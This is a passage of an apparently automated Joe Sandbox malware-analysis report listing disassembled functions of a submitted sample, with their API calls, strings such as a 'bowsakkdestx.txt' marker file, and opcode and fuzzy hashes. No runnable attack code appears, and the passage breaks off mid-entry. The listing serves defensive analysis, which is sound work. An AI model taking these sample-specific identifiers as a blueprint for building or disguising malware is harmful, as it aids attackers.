Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422AB8, 00422A3A, 00422A87, 00422A9F, 00422A44

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

